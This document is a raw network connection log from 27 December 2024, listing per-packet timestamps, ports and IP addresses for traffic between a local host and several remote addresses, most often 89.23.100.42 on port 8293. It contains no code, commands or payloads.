Dec 27, 2024 14:42:57.787267923 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:57.977127075 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:58.096668959 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:58.351496935 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:58.471040964 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:58.577147961 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:58.696769953 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:59.529285908 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:59.648902893 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:59.698124886 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:59.817823887 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:42:59.875256062 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:42:59.997318983 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:00.065721989 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:00.185456038 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:00.201267958 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:00.321942091 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:00.351644993 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:00.472378969 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:00.519035101 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:00.639590979 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:00.750194073 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:00.869810104 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:00.999955893 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:01.119554043 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:01.213556051 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:01.333169937 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:01.387605906 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:01.448458910 CET	49751	80	192.168.2.4	172.67.161.29
Dec 27, 2024 14:43:01.507253885 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:01.678886890 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:01.798454046 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:01.863363981 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:01.982840061 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:02.026453018 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:02.026484013 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:02.026540995 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:02.102212906 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:02.102276087 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:02.102376938 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:02.340173960 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:02.459678888 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:02.588251114 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:02.707734108 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:02.752470016 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:02.752489090 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:02.756129026 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:02.756170988 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:02.791939974 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:02.804461956 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:02.804516077 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:02.804574013 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:02.805025101 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:02.805083990 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:02.805124044 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:02.805753946 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:02.805778027 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:02.805886984 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:02.806080103 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:02.806107998 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:02.806159019 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:02.806483030 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:02.806495905 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:02.806839943 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:02.806859970 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:02.807550907 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:02.807564020 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:02.807707071 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:02.807722092 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:02.911596060 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:02.911665916 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:03.031253099 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:03.106980085 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.107011080 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:03.107067108 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.108270884 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.108289957 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:03.109687090 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:03.229598999 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:03.299608946 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:03.377445936 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.377468109 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:03.377537966 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.377748013 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.377760887 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:03.419034004 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:03.424355984 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:03.486867905 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.486951113 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:03.487020969 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.487417936 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:03.487445116 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:03.487504005 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:03.487653017 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:03.487668037 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:03.487871885 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:03.487889051 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:03.543813944 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:03.592381001 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:03.712512970 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:03.745796919 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:03.866641045 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:03.950004101 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:04.023030996 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.028800964 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.047724962 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.047745943 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.049334049 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.049401999 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.052439928 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.052458048 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.056286097 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.056385994 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.061979055 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.068036079 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.068056107 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.069020033 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.069307089 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.069597006 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:04.077588081 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.077694893 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.082432032 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.082695007 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.083184958 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.083187103 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.083209038 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.083257914 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.083595037 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.083616018 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.083636999 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.083652973 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.101721048 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:04.114449024 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.172827005 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.172846079 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.172848940 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.172853947 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.175586939 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.175596952 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.176680088 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.176693916 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.176745892 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.221251965 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:04.273304939 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.274182081 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.321115971 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:04.329513073 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.329536915 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.373549938 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.407665968 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.440656900 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:04.441253901 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.441267967 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.442333937 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.442436934 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.447853088 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:04.450205088 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.450320005 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.450395107 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.452308893 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.452465057 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.452615976 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.452863932 CET	49768	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.452879906 CET	443	49768	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.453330040 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.453639030 CET	49770	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.453651905 CET	443	49770	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.453669071 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.456298113 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.456305981 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.506616116 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.506675005 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.506917000 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.519628048 CET	49771	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.519644976 CET	443	49771	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.562787056 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.567310095 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:04.579651117 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:04.638834953 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.657285929 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.657314062 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.658828020 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.659019947 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.699228048 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:04.703567982 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.703696012 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.718352079 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.718353033 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.718370914 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.718494892 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.718666077 CET	443	49769	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.718735933 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.718735933 CET	49769	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.733639002 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:04.746192932 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.750468016 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.752770901 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.756320953 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.756386995 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.756520987 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.756530046 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.756939888 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.756953001 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.757010937 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.757015944 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.757080078 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.757740021 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.760093927 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.760251999 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.766649961 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.766665936 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.767004967 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.767016888 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.767273903 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.767282963 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.767426014 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.767611027 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.768332958 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.771320105 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.771337986 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.773555040 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.793028116 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.852088928 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.852567911 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.853265047 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:04.862091064 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.862154007 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.862273932 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.865849972 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.865860939 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.866410971 CET	49789	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.866419077 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.866422892 CET	443	49789	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.866549015 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.866909981 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.866925001 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.866942883 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.866983891 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.867033958 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.868340015 CET	49774	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.868340015 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.868354082 CET	443	49774	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.868424892 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.868995905 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.869004965 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.879929066 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:04.964039087 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:04.964039087 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:04.964039087 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:04.964056015 CET	443	49766	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:04.964059114 CET	443	49777	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:04.964072943 CET	443	49778	172.64.41.3	192.168.2.4
Dec 27, 2024 14:43:04.999435902 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:05.048274994 CET	49790	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.067214966 CET	49766	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.067229986 CET	49778	443	192.168.2.4	172.64.41.3
Dec 27, 2024 14:43:05.067240000 CET	49777	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:05.067249060 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.083822012 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:05.083895922 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:05.083976984 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:05.106285095 CET	49776	443	192.168.2.4	162.159.61.3
Dec 27, 2024 14:43:05.106302023 CET	443	49776	162.159.61.3	192.168.2.4
Dec 27, 2024 14:43:05.107327938 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.167828083 CET	8293	49790	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:05.167915106 CET	49790	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.288501978 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:05.450974941 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.454802990 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.454881907 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.454889059 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571624041 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571661949 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.571666956 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571706057 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571734905 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571770906 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571778059 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.571784019 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571805000 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.571851015 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571890116 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.571892977 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571934938 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.571973085 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.571975946 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.572033882 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.572077036 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.572088003 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.575680971 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.575732946 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.575737000 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.580606937 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.626944065 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.671607971 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.691648960 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.691709995 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.691715956 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.695544004 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.695648909 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.695652962 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.700371027 CET	8293	49748	89.23.100.42	192.168.2.4
Dec 27, 2024 14:43:05.712414980 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.712464094 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.712466955 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.716687918 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.716747999 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.716752052 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.720676899 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.720765114 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.720768929 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.724663973 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.724709034 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.724714041 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.729341030 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.729444027 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.729446888 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.740252018 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.740297079 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.740302086 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.753878117 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.753984928 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.753988981 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.765809059 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.765870094 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.765873909 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.777796030 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.777842999 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.777847052 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.778784037 CET	49748	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.789339066 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.789387941 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.789391994 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.797065973 CET	49790	8293	192.168.2.4	89.23.100.42
Dec 27, 2024 14:43:05.801405907 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.801464081 CET	49767	443	192.168.2.4	142.250.181.65
Dec 27, 2024 14:43:05.801466942 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.825381994 CET	443	49767	142.250.181.65	192.168.2.4
Dec 27, 2024 14:43:05.825443983 CET	49767	443	192.168.2.4	142.250.181.65
